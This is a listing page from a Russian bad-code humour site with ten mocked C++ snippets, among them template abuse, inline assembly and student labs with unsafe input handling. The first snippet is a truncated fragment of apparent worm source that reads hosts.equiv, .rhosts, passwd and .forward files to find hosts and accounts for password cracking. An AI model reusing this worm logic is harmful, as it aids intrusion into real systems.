1. C++ / Говнокод #9961

    +992

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    /* Dover */
    
    #include "worm.h"
    #include <stdio.h>
    #include <ctype.h>
    #include <strings.h>
    #include <pwd.h>
    
    int cmode;
    extern struct hst *h_name2host();
    
    struct usr {					/* sizeof(usr) == 58 */
        char *name, *o4, *o8, *o12;
        char passwd[14];				/* offset 16 */
        char decoded_passwd[14];			/* 30 */
        short pad;
        char *homedir;				/* offset 46 */
        char *gecos;				/* offset 50 */
        struct usr *next;				/* offset 54 */
    };
    
    /* Ahhh, I just love these names.  Don't change them for anything. */
    static struct usr *x27f28, *x27f2c;
    
    /* Crack some passwords. */
    cracksome()
    {
        switch (cmode){
        case 0:
    	strat_0();
    	return;					/* 88 */
        case 1:
    	strat_1();
    	return;
        case 2:
    	try_words();
    	return;
        case 3:
    	dict_words();
    	return;
        }
    }
    
    /* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
    strat_0()					/* 0x5da4 */
    {
        FILE *hosteq;
        char scanbuf[512];
        char fwd_buf[256];
        char *fwd_host;
        char getbuf[256];
        struct passwd *pwent;
        char local[20];
        struct usr *user;
        struct hst *host;				/* 1048 */
        int check_other_cnt;			/* 1052 */
        static struct usr *user_list = NULL;
    
        hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
        if (hosteq != NULL) {			/* 292 */
    	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    	    host = h_name2host(scanbuf, 0);
    	    if (host == 0) {
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)		/* 158 */
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);				/* 280 */
        }
    
        hosteq = fopen(XS("/.rhosts"), XS("r"));
        if (hosteq != NULL) {			/* 516 */
    	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
    		continue;
    	    host = h_name2host(scanbuf, 0);
    	    while (host == 0) {			/* 436, 474 */
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);
        }
    
        /* look through the passwd file, checking for contact with others every
         * tenth entry. */
        setpwent();
        check_other_cnt = 0;					/* 522 */
        while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
    	if ((check_other_cnt % 10) == 0)
    	    other_sleep(0);
    	check_other_cnt++;
    	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
    	hosteq = fopen(fwd_buf, XS("r"));...

    Govnisti_Diavol, 16 Апреля 2012

    Комментарии (8)
  2. C++ / Говнокод #9959

    +1000

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    template<class THTTPServerSettings_>
    	class TSettingsApplyer: public TAbstractSettingsApplyer
    	{
    	private:
    		enum
    		{
    			RESPONSE_BUFFER_SIZE=THTTPServerSettings_::ResponseBufferSize>THTTPServerSettings_::FullBufferedResponseSize?THTTPServerSettings_::ResponseBufferSize:THTTPServerSettings_::FullBufferedResponseSize
    		};
    		char _requestBuffer[THTTPServerSettings_::RequestBufferSize];
    		char _responseBuffer[RESPONSE_BUFFER_SIZE];
    		char _requestHeaderBuffer[THTTPServerSettings_::RequestHeaderBufferSize];
    		char _responseHeaderBuffer[THTTPServerSettings_::ResponseHeaderBufferSize];
    		
    	public:
    		TSettingsApplyer(void);
    		virtual void* const GetRequestBuffer(void) const;
    		virtual void* const GetRequestHeaderBuffer(void) const;
    		virtual void* const GetResponseBuffer(void) const;
    		virtual void* const GetResponseHeaderBuffer(void) const;
    		virtual const size_t GetPort(void) const;
    		virtual const size_t GetRequestBufferSize(void) const;
    		virtual const size_t GetRequestHeaderBufferSize(void) const;
    		virtual const size_t GetResponseBufferSize(void) const;
    		virtual const size_t GetResponseHeaderBufferSize(void) const;
    	};
    //...
    template<class TSettings>
    	THTTPServer( TSettings settings ):
    		_SettingsApplyer(*(::new TSettingsApplyer< TSettings >)),

    Говногость, 16 Апреля 2012

    Комментарии (2)
  3. C++ / Говнокод #9957

    +1002

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    //pugiXML.cpp:
    template <bool _1, bool _2, bool _3, bool _4> struct opt4_to_type
    	{
    		static const bool o1;
    		static const bool o2;
    		static const bool o3;
    		static const bool o4;
    	};
    
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o1 = _1;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o2 = _2;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o3 = _3;
    	template <bool _1, bool _2, bool _3, bool _4> const bool opt4_to_type<_1, _2, _3, _4>::o4 = _4;
    //...
    case 0:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 0, 0>());
    		case 1:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 0, 1>());
    		case 2:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 1, 0>());
    		case 3:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 0, 1, 1>());
    		case 4:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 1, 0, 0>());
    		case 5:  return strconv_attribute_t(s, end_quote, opt4_to_type<0, 1, 0, 1>());
    //...
    		case 14: return strconv_attribute_t(s, end_quote, opt4_to_type<1, 1, 1, 0>());
    		case 15: return strconv_attribute_t(s, end_quote, opt4_to_type<1, 1, 1, 1>());
    //...
    inline xml_parse_result make_parse_result(xml_parse_status status, unsigned int offset, unsigned int line)
    	{
    		xml_parse_result result = {status, offset, line};
    		return result;
    	}
    
    //pugixpath.cpp:
    block = static_cast<memory_block*>(operator new(size + sizeof(memory_block) - xpath_memory_block_size));

    PugiXML

    Говногость, 16 Апреля 2012

    Комментарии (10)
  4. C++ / Говнокод #9956

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    int main() {
        
        float a = 3.14;
        
        asm volatile (
                        "decl   %%esp"                      "\n\t"
                        "movb   $0, (%%esp)"                "\n\t"
                        "decl   %%esp"                      "\n\t"
                        "movb   $'\n', (%%esp)"             "\n\t"
                        "movl   $32, %%eax"                 "\n"
            "label0:"                                       "\n\t"
                        "shrl   %[A]"                       "\n\t"
                        "decl   %%esp"                      "\n\t"
                        "jc     label1"                     "\n\t"
                        "movb   $'0', (%%esp)"              "\n\t"
                        "jmp    label2"                     "\n"
            "label1:"                                       "\n\t"
                        "movb   $'1', (%%esp)"              "\n\t"
            "label2:"                                       "\n\t"
                        "decl   %%eax"                      "\n\t"
                        "cmpl   $0, %%eax"                  "\n\t"
                        "ja     label0"                     "\n\t"
                                                            "\n\t"
                        "pushl  %%esp"                      "\n\t"
                        "call   printf"                     "\n\t"
                                                            "\n\t"
                        "addl   $38, %%esp"                 "\n"
            
            : /* no output registers */
            : [A] "r" (a)
            : "%esp", "%eax"
        );
        
        return 0;
    }

    float > bin

    igoreknog, 16 Апреля 2012

    Комментарии (4)
  5. C++ / Говнокод #9955

    +1002

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    void TExternalIOBuffer::swap(TExternalIOBuffer& Buffer)
    {
    	ASSERT(typeid(Buffer)==typeid(TExternalIOBuffer));
    	const TExternalIOBuffer CurrentBuffer=*this;
    	const TExternalIOBuffer OtherBuffer=Buffer;
    	Buffer.~TExternalIOBuffer();
    	::new((void*)&Buffer) TExternalIOBuffer(CurrentBuffer);
    	this->~TExternalIOBuffer();
    	::new((void*)this) TExternalIOBuffer(OtherBuffer);
    };
    
    const TExternalIOBuffer& TExternalIOBuffer::operator=(const TAbstractIOBuffer& Buffer)
    {
    	this->~TExternalIOBuffer();
    	::new((void*)this)TExternalIOBuffer(Buffer);
    	return *this;
    };

    Большой проект, попало в релиз.

    Говногость, 16 Апреля 2012

    Комментарии (10)
  6. C++ / Говнокод #9948

    +1004

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    long base64::rlong (char * source)
    {
        long res = 0;
        for (int i = 0; i < 4; i++) ((char *) &res)[3 - i] = source[i];
        return res;
    }
    
    void base64::encode (char * source, char * dest)
    {
        char base[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        int n = 0;
        for (int nd = 0; nd < ceil(4*((double)strlen(source))/3); nd++)
            dest[n++] = base[rlong(&source[((nd >> 2) << 2)*3 >> 2]) >> (26 - 6*(nd - ((nd >> 2) << 2))) & 0x3F]; 
        for (int i = 0; i < ((int) ceil(((double)n)/4) << 2) - n; i++) dest[n++] = '=';
        dest[n] = 0;
    }

    Ответ преподу по c++. Переводстроки в base64.

    antonymus, 14 Апреля 2012

    Комментарии (6)
  7. C++ / Говнокод #9930

    +119

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    if(bCanPut)
    {
    	
    	m_RealTexts[nIndex].txtStartPt.x = ptStandard.x + (szStandard.cx-szTxtDC.cx)/2.0;
    	m_RealTexts[nIndex].txtStartPt.y = ptStandard.y + (szStandard.cy-szTxtDC.cy)/2.0;
    	m_RealTexts[nIndex].txtSize = szTxtDC;
    	m_RealTexts[nIndex].txtMovePt.x = 0.0 - (szStandard.cx-szTxtDC.cx)/2.0;
    	m_RealTexts[nIndex].txtMovePt.y = 0.0 - (szStandard.cy-szTxtDC.cy)/2.0;
    }
    else
    {
    	
    	m_RealTexts[nIndex].txtStartPt.x = ptStandard.x + (szStandard.cx-szTxtDC.cx)/2.0;
    	m_RealTexts[nIndex].txtStartPt.y = ptStandard.y + (szStandard.cy-szTxtDC.cy)/2.0;
    	m_RealTexts[nIndex].txtSize = szTxtDC;
    	m_RealTexts[nIndex].txtMovePt.x = 0.0 - (szStandard.cx-szTxtDC.cx)/2.0;
    	m_RealTexts[nIndex].txtMovePt.y = 0.0 - (szStandard.cy-szTxtDC.cy)/2.0;
    }

    someone, 12 Апреля 2012

    Комментарии (8)
  8. C++ / Говнокод #9927

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    #include "stdafx.h"
    #include "expression.h"
    #include <vector>
    
    int _tmain(int argc, _TCHAR* argv[]) {
    //Инициализация
    	std::vector<expression> arrayOfExpressions;
    	std::string inputString;
    //Ввод количества выражений
    	printf( "Enter expressions count: " );
    	int countOfExpressions = 0;
    	scanf( "%d", &countOfExpressions );
    //Ввод самих выражений
    	for ( int i = 1; i <= countOfExpressions; i++ ) {
    		printf( "Enter expression: " );
    		scanf( "%s", inputString );
    		arrayOfExpressions.push_back( expression( inputString ) );
    	}
    //Подсчёт операторов
    	int total = 0;
    	for (int i = 0; i < arrayOfExpressions.size(); i++)
    		total += arrayOfExpressions.at(i).operatorsCount();
    	printf( "Total operators = %d", total );
    //Освобождение памяти
    	arrayOfExpressions.erase(arrayOfExpressions.begin(),arrayOfExpressions.end());
    	return 0;
    }

    Один из уже известных вам студентов написал вот это. Вроде получше.

    Fai, 11 Апреля 2012

    Комментарии (9)
  9. C++ / Говнокод #9921

    +159

    1. 1
    2. 2
    3. 3
    4. 4
    bool THotKeysRepository::TKeyCombination::operator<( const TKeyCombination& y ) const
    {
    	return this->_AltKeyState<y._AltKeyState && this->_ScanCode<y._ScanCode;
    }

    Говногость, 11 Апреля 2012

    Комментарии (10)
  10. C++ / Говнокод #9911

    +989

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    stek* getLast(){
    	stek* result = first;
    	while (!isLast(*result)){
    		result = result->next;
    	}
    	return result;
    }
    void push( char* string ){
    	stek* anew = new stek;
    	anew->string = string;
    	anew->next = NULL;
    	anew->first = first;
    	getLast()->next = anew;
    }
    void printList(){
    	if (first != NULL){
    		stek* element = first;
    		puts( element->string );
    		while (!isLast(*element)){
    			element = element->next;
    			puts( element->string );
    		}
    	}
    	else{
    		puts( "List is empty" );
    	}
    }
    stek* getPrev( stek* element ){
    	stek* result = first;
    	while (result->next != element){
    		result = result->next;
    	}
    	return result;
    }
    void changeFirstInList( stek* newFirst ){
    	stek* element = first;
    	while (element != NULL){
    		element->first = newFirst;
    		element = element->next;
    	}
    }
    void deleteElement( stek* element )
    {
    	if ( element->first == element ){
    		first = element->next;
    		changeFirstInList( first );
    	}
    	else{
    		stek* prev = getPrev( element );
    		stek* next = element -> next;
    		prev->next = next;
    	}
    }
    void deleteElements( int length ){
    	stek* element = first;
    	while (element != NULL){
    		stek* next = element->next;
    		if (strlen(element->string) < length) {
    		    deleteElement( element );
    		}
    		element = next;
    	}
    }
    int _tmain(int argc, _TCHAR* argv[]){ 
    	char *token;
    	char st1[80];
    	int minLength = 4;
    	int n=0;
    	
    	printf("Enter string: ");
    	gets( st1 );
    	printf("Enter minimal length: ");
    	scanf( "%d", &minLength );
    
    	first=NULL;
    	first=new stek;
    	first->next=NULL;
    	first->first=first;
      token=strtok(st1," ");
      first->string=token;
      token=strtok(NULL," ");
      while( token != NULL){ 
    	push(token);;
    	token=strtok(NULL," ");
      }
      stek* element = first;
      while (element != NULL){
    	stek* next = element->next;
    	if (strlen(element->string)<3) n++;
    	element = next;
      }
      puts("Initial stack:");
      printList();
      deleteElements( minLength );
      printf("Slov dlinoi less than 3: %d\n",n);
      puts("After deleting:");
      printList();
      getch();
    }

    Лабораторная работа, написанная двумя студентами первого курса. Задание: "Дана строка 80 символов, разбить её на слова (разделитель - пробел), удалить слова меньше опр. длины и вывести количество слов с длиной меньше 3-ех".
    Почти каждая строчка в main'e - перл.
    З.Ы. Форматирование кода тоже доставляет.

    Fai, 10 Апреля 2012

    Комментарии (64)